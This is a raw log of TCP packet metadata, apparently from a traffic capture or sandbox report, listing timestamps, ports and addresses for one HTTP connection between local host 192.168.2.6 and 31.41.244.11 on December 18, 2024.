Dec 18, 2024 11:47:16.393048048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.393106937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.393163919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.393225908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.394221067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.394270897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.394500971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.394547939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.524616957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.524741888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.524872065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.524919987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.525132895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.525341988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.525357962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.525410891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.526418924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.526479959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.526683092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.526740074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.527470112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.527709007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.527853966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.527901888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.528089046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.528137922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.529090881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.529145002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.529239893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.529284954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.530179024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.530694008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.530749083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.531332970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.531383991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.531536102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.531579018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.532541037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.532594919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.532977104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.533027887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.533718109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.533776045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.534671068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.534725904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.534899950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.534913063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.534946918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.536046028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.536097050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.536124945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.536292076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.537218094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.537278891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.537650108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.537694931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.538413048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.538455963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.538526058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.538582087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.539582014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.539659023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.540340900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.540560961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.540744066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.540849924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.540880919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.540930986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.541944981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.542016029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.542087078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.543087006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.543289900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.543343067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.544264078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.544286013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.544336081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.545406103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.545454025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.545480967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.546206951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.546580076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.546626091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.547391891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.547432899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.547789097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.547801018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.547846079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.549149036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.549160957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.549206018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.550120115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.550173044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.550254107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.551350117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.551362038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.551393032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.551429033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.552439928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.552778006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.552829027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.553616047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.554054976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.554347038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.554400921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.554764986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.554827929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.555787086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.555840015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.555991888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.556006908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.556055069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.557105064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.557528973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.557579041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.558273077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.558350086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.558398962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.559452057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.559669018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.559722900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.559783936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.560621023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.560667038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.561050892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.561496019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.561986923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.562035084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.562485933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.562536001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.563529015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.563580990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.563673973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.564261913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.564713955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.564765930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.565495014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.565541983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.565704107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.565782070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.566088915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.566133976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.567503929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.567604065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.567647934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.567704916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.568587065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.568639040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.568939924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.568988085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.569570065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.569600105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.569653988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.570368052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.570692062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.570744038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.571269989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.571494102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.571553946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.572340012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.572451115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.572499037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.573493004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.573683023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.573707104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.573729992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.574665070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.574713945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.574752092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.575442076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.575845957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.575891018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.576282024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.577158928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.577172041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.577186108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.577220917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.578203917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.578382969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.578464031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.579353094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.579392910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.579833031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.579972982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.580569983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.580585003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.580640078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.580641031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.581729889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.581785917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.581995010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.582066059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.582910061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.582966089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.583448887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.583496094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.584124088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.584139109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.584175110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.585083961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.585246086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.585258961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.585300922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.715684891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.716145992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.716250896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.716363907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.716377020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.716423035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.717462063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.717514038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.717731953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.718206882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.718573093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.718620062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.718947887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.718998909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.719074965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.719120026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.720237017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.720293045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.720388889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.720431089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.721295118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.721340895 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.721489906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.721534967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.722472906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.723362923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.723419905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.723658085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.723798990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.723845959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.727016926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.727030039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.727041960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.727054119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.727144957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.727144957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.727535009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.728441000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.728494883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.728734970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.729212046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.729254961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.729990005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.730160952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.730196953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.731168032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.731209040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.731276989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.732397079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.732455015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.732981920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.733062029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.733104944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.733562946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.734152079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.734227896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.734262943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.734359980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.735342026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.735397100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.735513926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.736511946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.736560106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.737119913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.737159014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.737679005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.737739086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.737958908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.737996101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.738831043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.739053011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.739094019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.740016937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.740272045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.740322113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.741198063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.741240978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.741525888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.741879940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.742424965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.742474079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.742960930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.743567944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.743580103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.743619919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.744718075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.744779110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.744944096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.744987011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.748559952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.748577118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.748590946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.748605967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.748613119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.748614073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.748632908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.748647928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.748727083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.748763084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.749933004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.750114918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.750138998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.750190020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.751269102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.751332998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.751805067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.752156019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.752207994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.752322912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.753422976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.753464937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.754122972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.754163027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.754489899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.754503012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.754544973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.755614042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.755681992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.756908894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.756920099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.756933928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.756975889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.756988049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.757915974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.757963896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.758399963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.759193897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.759253025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.759861946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.760188103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.760370016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.760382891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.760418892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.761652946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.761709929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:16.762072086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:16.762121916 CET	49806	80	192.168.2.6	31.41.244.11
